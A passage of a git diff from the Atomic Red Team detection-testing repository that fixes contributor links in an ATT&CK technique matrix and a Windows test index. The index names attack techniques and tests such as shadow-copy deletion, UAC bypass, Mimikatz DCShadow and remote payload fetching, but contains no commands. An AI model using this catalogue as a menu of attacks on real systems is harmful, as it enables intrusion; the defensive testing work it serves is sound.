[Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Pass the Ticket](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Bootkit](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Forced Authentication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Peripheral Device Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Remote Desktop Protocol](./T1076/T1076.md) | [Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Browser Extensions](./T1176/T1176.md) | [Exploitation for Privilege Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | [Permission Groups Discovery](./T1069/T1069.md) | [Remote File Copy](./T1105/T1105.md) | [Email Collection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [InstallUtil](./T1118/T1118.md) | [Change Default File Association](./T1042/T1042.md) | [Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Input Capture](./T1056/T1056.md) | [Process Discovery](./T1057/T1057.md) | [Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Input Capture](./T1056/T1056.md) | | [Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [DCShadow](./T1207/T1207.md) | [Input Prompt](./T1141/T1141.md) | [Query Registry](./T1012/T1012.md) | [Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Man in the Browser](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [Launchctl](./T1152/T1152.md) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | [DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Kerberoasting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Remote System Discovery](./T1018/T1018.md) | [SSH Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Screen Capture](./T1113/T1113.md) | | [Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | [Image File Execution Options Injection](./T1183/T1183.md) | [DLL Side-Loading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Keychain](./T1142/T1142.md) | [Security Software Discovery](./T1063/T1063.md) | [Shared Webroot](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Video Capture](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [Mshta](./T1170/T1170.md) | [DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Launch Daemon](./T1160/T1160.md) | [Deobfuscate/Decode Files or Information](./T1140/T1140.md) | [LLMNR/NBT-NS Poisoning](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [System Information Discovery](./T1082/T1082.md) | [Taint Shared Content](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [PowerShell](./T1086/T1086.md) | [Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [New Service](./T1050/T1050.md) | [Disabling Security Tools](./T1089/T1089.md) | [Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [System Network Configuration Discovery](./T1016/T1016.md) | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | [Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [Regsvcs/Regasm](./T1121/T1121.md) | [External Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Password Filter DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Windows Admin Shares](./T1077/T1077.md) | | | [Remote File Copy](./T1105/T1105.md) | +| | [Regsvr32](./T1117/T1117.md) | [File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Plist Modification](./T1150/T1150.md) | [Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Private Keys](./T1145/T1145.md) | [System Owner/User Discovery](./T1033/T1033.md) | [Windows Remote Management](./T1028/T1028.md) | | | [Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [Rundll32](./T1085/T1085.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [File Deletion](./T1107/T1107.md) | [Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [System Service Discovery](./T1007/T1007.md) | | | | [Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [Scheduled Task](./T1053/T1053.md) | [Hooking](./T1179/T1179.md) | [Process Injection](./T1055/T1055.md) | [File System Logical Offsets](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Securityd Memory](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [System Time Discovery](./T1124/T1124.md) | | | | [Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Hypervisor](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [SID-History Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Gatekeeper Bypass](./T1144/T1144.md) | [Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | [Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [Service Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Image File Execution Options Injection](./T1183/T1183.md) | [Scheduled Task](./T1053/T1053.md) | [HISTCONTROL](./T1148/T1148.md) | | | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Kernel Modules and Extensions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Hidden Files and Directories](./T1158/T1158.md) | | | | | | | +| | [Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [LC_LOAD_DYLIB Addition](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Setuid and Setgid](./T1166/T1166.md) | [Hidden Users](./T1147/T1147.md) | | | | | | | +| | [Source](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Startup Items](./T1165/T1165.md) | [Hidden Window](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | [Space after Filename](./T1151/T1151.md) | [Launch Agent](./T1159/T1159.md) | [Sudo](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Image File Execution Options Injection](./T1183/T1183.md) | | | | | | | +| | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Launch Daemon](./T1160/T1160.md) | [Sudo Caching](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Indicator Blocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | [Trap](./T1154/T1154.md) | [Launchctl](./T1152/T1152.md) | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | [Trusted Developer Utilities](./T1127/T1127.md) | [Local Job Scheduling](./T1168/T1168.md) | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Indicator Removal on Host](./T1070/T1070.md) | | | | | | | +| | [User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Login Item](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Indirect Command Execution](./T1202/T1202.md) | | | | | | | | | [Windows Management Instrumentation](./T1047/T1047.md) | [Logon Scripts](./T1037/T1037.md) | | [Install Root Certificate](./T1130/T1130.md) | | | | | | | -| | [Windows Remote Management](./T1028/T1028.md) | [Modify Existing Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [InstallUtil](./T1118/T1118.md) | | | | | | | -| | | [Netsh Helper DLL](./T1128/T1128.md) | | [LC_MAIN Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | +| | [Windows Remote Management](./T1028/T1028.md) | [Modify Existing Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [InstallUtil](./T1118/T1118.md) | | | | | | | +| | | [Netsh Helper DLL](./T1128/T1128.md) | | [LC_MAIN Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | | | | [New Service](./T1050/T1050.md) | | [Launchctl](./T1152/T1152.md) | | | | | | | -| | | [Office Application Startup](./T1137/T1137.md) | | [Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | | [Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Modify Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | +| | | [Office Application Startup](./T1137/T1137.md) | | [Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | [Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Modify Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | | | | [Plist Modification](./T1150/T1150.md) | | [Mshta](./T1170/T1170.md) | | | | | | | -| | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [NTFS File Attributes](./T1096/T1096.md) | | | | | | | -| | | [Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Network Share Connection Removal](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | | [Rc.common](./T1163/T1163.md) | | [Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | +| | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [NTFS File Attributes](./T1096/T1096.md) | | | | | | | +| | | [Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Network Share Connection Removal](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | [Rc.common](./T1163/T1163.md) | | [Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | | | | [Re-opened Applications](./T1164/T1164.md) | | [Plist Modification](./T1150/T1150.md) | | | | | | | -| | | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | | [Registry Run Keys / Start Folder](./T1060/T1060.md) | | [Process Doppelgänging](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | | [SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Process Hollowing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | +| | | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | [Registry Run Keys / Start Folder](./T1060/T1060.md) | | [Process Doppelgänging](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | [SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Process Hollowing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | | | | [Scheduled Task](./T1053/T1053.md) | | [Process Injection](./T1055/T1055.md) | | | | | | | -| | | [Screensaver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | | [Security Support Provider](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Regsvcs/Regasm](./T1121/T1121.md) | | | | | | | -| | | [Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Regsvr32](./T1117/T1117.md) | | | | | | | -| | | [Shortcut Modification](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Rootkit](./T1014/T1014.md) | | | | | | | +| | | [Screensaver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | [Security Support Provider](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Regsvcs/Regasm](./T1121/T1121.md) | | | | | | | +| | | [Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Regsvr32](./T1117/T1117.md) | | | | | | | +| | | [Shortcut Modification](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Rootkit](./T1014/T1014.md) | | | | | | | | | | [Startup Items](./T1165/T1165.md) | | [Rundll32](./T1085/T1085.md) | | | | | | | -| | | [System Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | | [Time Providers](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | | [Trap](./T1154/T1154.md) | | [Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Software Packing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | +| | | [System Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | [Time Providers](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | [Trap](./T1154/T1154.md) | | [Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Software Packing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | | | | [Windows Management Instrumentation Event Subscription](./T1084/T1084.md) | | [Space after Filename](./T1151/T1151.md) | | | | | | | -| | | [Winlogon Helper DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Timestomp](./T1099/T1099.md) | | | | | | | +| | | [Winlogon Helper DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Timestomp](./T1099/T1099.md) | | | | | | | | | | | | [Trusted Developer Utilities](./T1127/T1127.md) | | | | | | | -| | | | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | +| | | | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | diff --git a/atomics/windows-index.md b/atomics/windows-index.md index c4a2187c..bf8ea493 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -5,24 +5,24 @@ - [T1197 BITS Jobs](./T1197/T1197.md) - Atomic Test #1: Download & Execute [windows] - Atomic Test #2: Download & Execute via PowerShell BITS [windows] -- [T1009 Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1088 Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1009 Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1088 Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1191 CMSTP](./T1191/T1191.md) - Atomic Test #1: CMSTP Executing Remote Scriptlet [windows] -- [T1116 Code Signing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1109 Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1116 Code Signing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1109 Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1122 Component Object Model Hijacking](./T1122/T1122.md) - Atomic Test #1: PowerShell UAC Bypass [windows] -- [T1196 Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1196 Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1207 DCShadow](./T1207/T1207.md) - Atomic Test #1: DCShadow - Mimikatz [windows] -- [T1038 DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1073 DLL Side-Loading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1038 DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1073 DLL Side-Loading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1140 Deobfuscate/Decode Files or Information](./T1140/T1140.md) - Atomic Test #1: Deobfuscate/Decode Files Or Information [windows] - [T1089 Disabling Security Tools](./T1089/T1089.md) -- [T1211 Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1181 Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1211 Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1181 Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1107 File Deletion](./T1107/T1107.md) - Atomic Test #5: Victim configuration [windows] - Atomic Test #6: Delete a single file - cmd [windows] @@ -33,13 +33,13 @@ - Atomic Test #11: Delete VSS - wmic [windows] - Atomic Test #12: bcdedit [windows] - Atomic Test #13: wbadmin [windows] -- [T1006 File System Logical Offsets](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1006 File System Logical Offsets](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1158 Hidden Files and Directories](./T1158/T1158.md) - [T1183 Image File Execution Options Injection](./T1183/T1183.md) - Atomic Test #1: IFEO Add Debugger [windows] - Atomic Test #2: IFEO GLobal Flags [windows] -- [T1054 Indicator Blocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1066 Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1054 Indicator Blocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1066 Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1070 Indicator Removal on Host](./T1070/T1070.md) - Atomic Test #1: Clear Logs [windows] - Atomic Test #2: FSUtil [windows] @@ -49,20 +49,20 @@ - [T1130 Install Root Certificate](./T1130/T1130.md) - [T1118 InstallUtil](./T1118/T1118.md) - Atomic Test #1: InstallUtil uninstall method call [windows] -- [T1036 Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1112 Modify Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1036 Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1112 Modify Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1170 Mshta](./T1170/T1170.md) - Atomic Test #1: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject [windows] - [T1096 NTFS File Attributes](./T1096/T1096.md) - Atomic Test #1: Alternate Data Streams (ADS) [windows] -- [T1126 Network Share Connection Removal](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1027 Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1186 Process Doppelgänging](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1093 Process Hollowing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1126 Network Share Connection Removal](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1027 Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1186 Process Doppelgänging](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1093 Process Hollowing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1055 Process Injection](./T1055/T1055.md) - Atomic Test #1: Process Injection via mavinject.exe [windows] - Atomic Test #2: Process Injection via PowerSploit [windows] -- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1121 Regsvcs/Regasm](./T1121/T1121.md) - Atomic Test #1: Regasm Uninstall Method Call Test [windows] - Atomic Test #2: Regsvs Uninstall Method Call Test [windows] @@ -73,16 +73,16 @@ - [T1014 Rootkit](./T1014/T1014.md) - [T1085 Rundll32](./T1085/T1085.md) - Atomic Test #1: Rundll32 execute JavaScript Remote Payload With GetObject [windows] -- [T1198 SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1218 Signed Binary Proxy 